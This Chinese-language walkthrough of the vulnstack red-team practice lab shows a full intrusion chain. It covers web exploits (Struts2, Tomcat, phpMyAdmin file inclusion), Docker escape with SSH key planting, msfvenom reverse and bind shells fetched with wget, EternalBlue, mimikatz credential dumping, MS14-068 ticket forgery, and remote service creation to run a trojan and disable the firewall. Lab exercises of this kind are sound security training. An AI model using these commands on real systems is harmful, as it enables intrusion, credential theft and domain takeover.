渗透靶场--vulnstack-红队评估实战(4)

vulnstack-红队评估实战(4)

环境配置

web服务器
ubuntu:ubuntu
内网192.168.183.131
外网192.168.154.137
web服务需要自己启动分别为s2-045、CVE-2017-12615、cve-2018-12613
sudo su
ubuntu
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
docker-compose up

域成员机器
douser:Dotest123
192.168.183.128

域控
administrator:Test2021(密码过期修改的)
192.168.183.130

kali攻击机
192.168.154.129

渗透靶场--vulnstack-红队评估实战(4)_第1张图片

1.对web服务器信息搜集

ip进行端口扫描

渗透靶场--vulnstack-红队评估实战(4)_第2张图片

渗透靶场--vulnstack-红队评估实战(4)_第3张图片

知道2001,2002,2003分别开放了三个web服务

2001端口

访问通过title可以看出中间件为struts2,工具检测存在s2-045和s2-046

渗透靶场--vulnstack-红队评估实战(4)_第4张图片

但是s2-045没有成功利用,s2-046成功利用

渗透靶场--vulnstack-红队评估实战(4)_第5张图片

2002端口

访问知道tomcat 8.5.19,vulmap扫描出目标

渗透靶场--vulnstack-红队评估实战(4)_第6张图片

成功利用

渗透靶场--vulnstack-红队评估实战(4)_第7张图片

2003端口

访问是一个phpmyadmin(无需登录),版本 4.8.1 存在一个任意文件包含漏洞

复现:

在index.php后添加?target=db_sql.php%3f/../../../../../../../../etc/passwd

渗透靶场--vulnstack-红队评估实战(4)_第8张图片

2.进行docker逃逸

概念

严重安全漏洞(CVE-2019-5736),导致18.09.2版本之前的Docker允许恶意容器覆盖宿主机上的runC二进制文件,由此使攻击者能够以root身份在宿主机上执行任意命令。恶意容器需满足以下两个条件之一:

(1)由一个攻击者控制的恶意镜像创建
(2)攻击者具有某已存在容器的写权限,且可通过docker exec进入
docker逃逸在于启动dcoker时加入危险参数--privileged=ture(特权模式),允许容器内的root拥有外部物理机root权限而不是普通权限,本docker容器启动即为特权模式。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,使用特权模式启动容器,可以获取大量设备文件访问权限。此外还可以通过写入计划任务等方式在宿主机执行命令。

利用docker的特权模式来在宿主机硬盘中写入ssh私钥,建立用户实现ssh免密登录宿主机,从而实现对目标宿主机的控制。

实现

1.建立test目录,将/dev/sda1 挂载到test 目录

mkdir /test
mount /dev/sda1 /test
ls -alh /test

可以看到test目录中是目标宿主机的根目录

渗透靶场--vulnstack-红队评估实战(4)_第9张图片

2.再修改宿主机的.ssh文件来实现密钥登录

本地生成ssh密钥

ssh-keygen -f attack

创建authorized_keys文件,权限为id_rsa.pub的权限

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys

写入attack.pub文件内容到目标宿主机上的认证文件内(/test/home/ubuntu/.ssh/authorized_keys)

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/HfT/jwc+UQhyKbwbQNLk3FmBr/J0gfXaR4MH5yrWH240EVHw4CSvw8jHqxNVucxiDL5W0+wcEtAlm2EfIhVrYCvug+8Aqr6Y3WnZU72qdAYXSnJQ79nISIEsayWxlEvjuYYlHeTHh+51NalYtpI+NG0gjLOZM3+4eiVmF2ccCLetW7F7OHc6tfVo32wA4aa08L4Tt3Om3ZIbMrBa/2yteNGWis/EAteACaJm3fpV/9HGWPvCnNUeSwQA+HvoEzDJY8D+tWZvAEX9gDBIxgCYP7hmGVC5VSHOC9r5I2ArAcQJs/C9AuYpsZaicx7H6HGH2BWqV/iN4/yJoKxQYkArw6KKJC7Pip2TJ2G+m3sHjYt4UdKbc3iViHGQMT59aZuMaxZoBaZrlyQxYvqEjwTrqA+RfnwCf845BnMpbhGcqUZ9xrMJM0ixgWx/hiGF43g+9hYVaPGz1tc5ItqtIvnBp2sCCMqwtfyJiiJyDdRhDmiqdI+rIIL+xxLUBKh6nLE= root@kali' > /test/home/ubuntu/.ssh/authorized_keys

这里由于echo会将重定向符输出,所以写sh文件wget下载执行

python -m SimpleHTTPServer

检查

cat /test/home/ubuntu/.ssh/authorized_keys

渗透靶场--vulnstack-红队评估实战(4)_第10张图片

密钥登录

ssh -i attack [email protected]

成功获得宿主机权限

渗透靶场--vulnstack-红队评估实战(4)_第11张图片

3.shell转移metersploit

生成shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.154.129 LPORT=4444 -f elf > shell.elf

监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.154.129
run

wget下载执行

wget http://192.168.154.129:8000/shell.elf

渗透靶场--vulnstack-红队评估实战(4)_第12张图片

4.linux提权

ubuntu,还是CVE-2021-3493提权

渗透靶场--vulnstack-红队评估实战(4)_第13张图片

5.内网存活主机搜集

挂上代理

添加内网网段

run autoroute -s 192.168.183.0/24

自动添加跳板机上的所有路由

run post/multi/manage/autoroute 

使用模块设置sock服务端

use auxiliary/server/socks_proxy
set srvport 7777 
set version 5

先用msf找到存活主机

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

结果,发现主机128和130

渗透靶场--vulnstack-红队评估实战(4)_第14张图片

nmap扫描

proxychains nmap -Pn -sT -sV 192.168.183.128 192.168.183.130 -F

结果,可以看到都开放了445

map scan report for localhost (192.168.183.128)
Host is up (0.096s latency).
Not shown: 90 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: DEMO)
5357/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: TESTWIN7-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for localhost (192.168.183.130)
Host is up (0.99s latency).
Not shown: 91 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-19 06:26:23Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn?
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: demo.com, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: DEMO)
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0

6.横向移动

两个内网ip都开放了445,先尝试ms17_010

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.128 192.168.183.130

渗透靶场--vulnstack-红队评估实战(4)_第15张图片

都可能可以利用,尝试利用,这里代理使用了chisel,msf的代理一直打不进去

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.128
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate

打了一年128终于进去了

渗透靶场--vulnstack-红队评估实战(4)_第16张图片

7.内网信息搜集

为了方便接下来的信息收集,我们需要把当前权限降到普通域用户,因为不是域用户的话是没有权限执行域命令的。

getuid    #查看当前token
use incognito #加载incognito
list_tokens -u #列出AccessToken
impersonate_token "DEMO\douser" #模拟DEMO\douser用户
rev2self   #返回到之前的AccessToken权限

开始搜集

net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域

net user                 查看本机用户列表
net user /domain         查看域用户
net localgroup administrators   查看本地管理员组(通常会有域用户)


net view /domain         查看有几个域
net group "domain admins" /domain  查看域管理员的名字
net group "domain controllers" /domain  查看域控制器机器名(可能有多台)

搜集到的信息

域控机器名WIN-ENS2VR5TR3N
域控管理用户Administrator
域用户 Administrator            douser                   Guest                    krbtgt                   

ping域控WIN-ENS2VR5TR3N.demo.com得到ip

192.168.183.130

8.域权限提升

这里获得域用户douser的密码有两种方式

  1. ubuntu机器的历史命令histroy

    渗透靶场--vulnstack-红队评估实战(4)_第17张图片

2.利用mimikatz泄露

load mimikatz
kiwi_cmd  sekurlsa::logonPasswords

渗透靶场--vulnstack-红队评估实战(4)_第18张图片

然后利用ms14-028进行权限提升

首先切换为douser用户,查看本机用户的id

impersonate_token "DEMO\douser"
whoami /all

得到S-1-5-21-979886063-1111900045-1414766810-1107,利用工具提权

ms14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

渗透靶场--vulnstack-红队评估实战(4)_第19张图片

生成TGT票据,然后利用mimikatz注入票据

使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件>   //将票据注入到内存中

渗透靶场--vulnstack-红队评估实战(4)_第20张图片

klist查看是否注入成功

渗透靶场--vulnstack-红队评估实战(4)_第21张图片

登录域控查看目录

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

然后构造一个正向的木马文件(因为是代理进入内网的)同时监听

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.154.129 lport=5555 -f exe -o bind.exe

setg proxies socks5:127.0.0.1:1080
use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhosts 192.168.183.130
set AutoRunScript post/windows/manage/migrate
run

生成后上传到win7,然后通过smb文件共享来讲木马文件复制到域控C盘

upload bind.exe C:\
copy c:\bind.exe \\WIN-ENS2VR5TR3N\c$

利用sc创建服务来执行木马文件

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

附:关闭防火墙

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

渗透靶场--vulnstack-红队评估实战(4)_第22张图片

拿下!

image-20210720091100602

你可能感兴趣的:(渗透靶场,渗透测试)